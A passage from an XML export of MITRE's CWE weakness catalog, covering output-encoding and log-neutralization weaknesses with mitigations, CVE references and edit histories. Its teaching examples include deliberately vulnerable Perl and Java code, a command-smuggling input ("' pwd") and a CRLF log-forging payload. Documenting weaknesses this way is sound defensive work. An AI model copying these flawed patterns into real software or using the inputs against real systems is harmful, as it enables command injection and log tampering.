							              <Code>sub encode {</Code>
							              <Block>
								                <Code>my($str) = @_;</Code>
								                <Code>$str =~ s/\&amp;/\&amp;amp;/gs;</Code>
								                <Code>$str =~ s/\"/\&amp;quot;/gs;</Code>
								                <Code>$str =~ s/\'/\&amp;apos;/gs;</Code>
								                <Code>$str =~ s/\&lt;/\&amp;lt;/gs;</Code>
								                <Code>$str =~ s/\&gt;/\&amp;gt;/gs;</Code>
								                <Code>return($str);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>sub doit {</Code>
							              <Block>
								                <Code>my $uname = encode(GetUntrustedInput("username"));</Code>
								                <Code>print "&lt;b&gt;Welcome,
									$uname!&lt;/b&gt;&lt;p&gt;\n";</Code>
								                <Code>system("cd /home/$uname; /bin/ls -l");</Code>
								                <Code>}</Code>
							              </Block>
						            </Block>
						            <Text>The programmer attempts to encode dangerous characters, however the
							blacklist for encoding is incomplete (CWE-184) and an attacker can still
							pass a semicolon, resulting in a chain with command injection
							(CWE-77).</Text>
						            <Text>Additionally, the encoding routine is used inappropriately with
							command execution. An attacker doesn't even need to insert their own
							semicolon. The attacker can instead leverage the encoding routine to
							provide the semicolon to separate the commands. If an attacker supplies
							a string of the form:</Text>
						            <Block Block_Nature="Attack">
							              <Code>' pwd</Code>
						            </Block>
						            <Text>then the program will encode the apostrophe and insert the semicolon,
							which functions as a command separator when passed to the system
							function. This allows the attacker to complete the command
							injection.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-4636</Observed_Example_Reference>
					          <Observed_Example_Description>OS command injection in backup software using
						shell metacharacters in a filename; correct behavior would require that this
						filename could not be changed.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0769</Observed_Example_Reference>
					          <Observed_Example_Description>Web application does not set the charset when
						sending a page to a browser, allowing for XSS exploitation when a browser
						chooses an unexpected encoding.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0005</Observed_Example_Reference>
					          <Observed_Example_Description>Program does not set the charset when sending a
						page to a browser, allowing for XSS exploitation when a browser chooses an
						unexpected encoding.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5573</Observed_Example_Reference>
					          <Observed_Example_Description>SQL injection via password parameter; a strong
						password might contain "&amp;"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3773</Observed_Example_Reference>
					          <Observed_Example_Description>Cross-site scripting in chat application via a
						message subject, which normally might contain "&amp;" and other
						XSS-related characters.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0757</Observed_Example_Reference>
					          <Observed_Example_Description>Cross-site scripting in chat application via a
						message, which normally might be allowed to contain arbitrary
						content.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Theoretical_Notes>
				        <Theoretical_Note>
					          <Text>This is a data/directive boundary error in which data boundaries are not
						sufficiently enforced before it is sent to a different control
						sphere.</Text>
				        </Theoretical_Note>
			      </Theoretical_Notes>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>While many published vulnerabilities are related to insufficient output
						encoding, there is such an emphasis on input validation as a protection
						mechanism that the underlying causes are rarely described. Within CVE, the
						focus is primarily on well-understood issues like cross-site scripting and
						SQL injection. It is likely that this weakness frequently occurs in custom
						protocols that support multiple encodings, which are not necessarily
						detectable with automated techniques.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference Reference_ID="REF-21" Local_Reference_ID="R.116.1">
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>OWASP Enterprise Security API (ESAPI) Project</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/ESAPI</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Jeremiah Grossman</Reference_Author>
					          <Reference_Title>Input validation or output filtering, which is
						better?</Reference_Title>
					          <Reference_Link>http://jeremiahgrossman.blogspot.com/2007/01/input-validation-or-output-filtering.html</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Joshbw</Reference_Author>
					          <Reference_Title>Output Sanitization</Reference_Title>
					          <Reference_Date>2008-09-18</Reference_Date>
					          <Reference_Link>http://www.analyticalengine.net/archives/58</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Niyaz PK</Reference_Author>
					          <Reference_Title>Sanitizing user data: How and where to do it</Reference_Title>
					          <Reference_Date>2008-09-11</Reference_Date>
					          <Reference_Link>http://www.diovo.com/2008/09/sanitizing-user-data-how-and-where-to-do-it/</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Jeremiah Grossman</Reference_Author>
					          <Reference_Title>Input validation or output filtering, which is
						better?</Reference_Title>
					          <Reference_Date>2007-01-30</Reference_Date>
					          <Reference_Link>http://jeremiahgrossman.blogspot.com/2007/01/input-validation-or-output-filtering.html</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Jim Manico</Reference_Author>
					          <Reference_Title>Input Validation - Not That Important</Reference_Title>
					          <Reference_Date>2008-08-10</Reference_Date>
					          <Reference_Link>http://manicode.blogspot.com/2008/08/input-validation-not-that-important.html</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Michael Eddington</Reference_Author>
					          <Reference_Title>Preventing XSS with Correct Output Encoding</Reference_Title>
					          <Reference_Link>http://phed.org/2008/05/19/preventing-xss-with-correct-output-encoding/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 11, "Canonical Representation Issues" Page
						363</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Improper Output Handling </Mapped_Node_Name>
					          <Mapped_Node_ID>22</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Sanitize untrusted data passed across a trust
						boundary</Mapped_Node_Name>
					          <Mapped_Node_ID>IDS00-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Perform lossless conversion of String data between differing
						character encodings</Mapped_Node_Name>
					          <Mapped_Node_ID>IDS12-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Use a subset of ASCII for file and path
						names</Mapped_Node_Name>
					          <Mapped_Node_ID>IDS05-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Character Encoding - Use Subset of ASCII for
						Safety</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC09-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Character Encoding - UTF8 Related Issues</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC10-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>104</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>18</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>63</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>73</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>81</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>85</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>86</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Name, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Applicable_Platforms,
						Common_Consequences, Demonstrative_Examples, Description,
						Likelihood_of_Exploit, Name, Observed_Examples, Potential_Mitigations,
						References, Relationship_Notes, Relationships, Research_Gaps,
						Terminology_Notes, Theoretical_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Detection_Factors, Potential_Mitigations,
						References, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationship_Notes,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Output
						Validation</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2008-09-09">Incorrect Output
						Sanitization</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-01-12">Insufficient Output
						Sanitization</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="117" Name="Improper Output Neutralization for Logs" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not neutralize or incorrectly neutralizes
					output that is written to logs.</Description_Summary>
				        <Extended_Description>
					          <Text>This can allow an attacker to forge log entries or inject malicious
						content into logs.</Text>
					          <Text>Log forging vulnerabilities occur when:</Text>
					          <Block Block_Nature="Numeric_List">
						            <Text>Data enters an application from an untrusted source.</Text>
						            <Text>The data is written to an application or system log file.</Text>
					          </Block>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>116</Relationship_Target_ID>
					          <!--Improper Encoding or Escaping of Output-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>727</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A6 - Injection Flaws-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Background_Details>
				        <Background_Detail>
					          <Text>Applications typically use log files to store a history of events or
						transactions for later review, statistics gathering, or debugging. Depending
						on the nature of the application, the task of reviewing log files may be
						performed manually on an as-needed basis or automated with a tool that
						automatically culls logs for important events or trending
						information.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Interpretation of the log files may be hindered or misdirected if an
							attacker can supply data to the application that is subsequently logged
							verbatim. In the most benign case, an attacker may be able to insert
							false entries into the log file by providing the application with input
							that includes appropriate characters. Forged or otherwise corrupted log
							files can be used to cover an attacker's tracks, possibly by skewing
							statistics, or even to implicate another party in the commission of a
							malicious act. If the log file is processed automatically, the attacker
							can render the file unusable by corrupting the format of the file or
							injecting unexpected characters. An attacker may inject code or other
							commands into the log file and take advantage of a vulnerability in the
							log processing utility.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-30">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use and specify an output encoding that can be handled by the
							downstream component that is reading the output. Common encodings
							include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified,
							a downstream component may choose a different encoding, either by
							assuming a default encoding or automatically inferring which encoding is
							being used, which can be erroneous. When the encodings are inconsistent,
							the downstream component might treat some character or byte sequences as
							special, even if they are not special in the original encoding.
							Attackers might then be able to exploit this discrepancy and conduct
							injection attacks; they even might be able to bypass protection
							mechanisms that assume the original encoding is also being used by the
							downstream component. </Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following web application code attempts to read an integer value
						from a request object. If the parseInt call fails, then the input is logged
						with an error message indicating what happened.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String val = request.getParameter("val");</Code>
							              <Code>try {</Code>
							              <Block>
								                <Code/>
								                <Code>int value = Integer.parseInt(val);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>catch (NumberFormatException) {</Code>
							              <Block>
								                <Code>log.info("Failed to parse val = " + val);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>If a user submits the string "twenty-one" for val, the following entry
							is logged:</Text>
						            <Block Block_Nature="List">
							              <Text>INFO: Failed to parse val=twenty-one</Text>
						            </Block>
						            <Text>However, if an attacker submits the string
							"twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", the following entry is
							logged:</Text>
						            <Block Block_Nature="List">
							              <Text>INFO: Failed to parse val=twenty-one</Text>
							              <Text>INFO: User logged out=badguy</Text>
						            </Block>
						            <Text>Clearly, attackers can use this same mechanism to insert arbitrary log
							entries.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-4624</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: inject fake log entries with fake
						timestamps using CRLF injection</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>G. Hoglund</Reference_Author>
					          <Reference_Author>G. McGraw</Reference_Author>
					          <Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					          <Reference_Publisher>Addison-Wesley</Reference_Publisher>
					          <Reference_PubDate>February 2004</Reference_PubDate>
				        </Reference>
				        <Reference>
					          <Reference_Author>A. Muffet</Reference_Author>
					          <Reference_Title>The night the log was forged</Reference_Title>
					          <Reference_Link>http://doc.novsu.ac.ru/oreilly/tcpip/puis/ch10_05.htm</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>OWASP TOP 10</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/Top_10_2007</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Log Forging</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>106</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>81</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>93</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated References, Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes, References,
						Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Background_Details, Common_Consequences,
						Description, Other_Notes, References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Description, Name,
						Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Other_Notes,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Description,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Log
						Forging</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Incorrect Output Sanitization
						for Logs</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-06-21">Improper Output Sanitization
						for Logs</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="118" Name="Improper Access of Indexable Resource ('Range Error')" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not restrict or incorrectly restricts
					operations within the boundaries of a resource that is accessed using an index
					or pointer, such as memory or files.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>19</Relationship_Target_ID>
					          <!--Data Handling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>890</Relationship_Target_ID>
					          <!--SFP Cluster: Memory Access-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>10</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>14</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>24</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
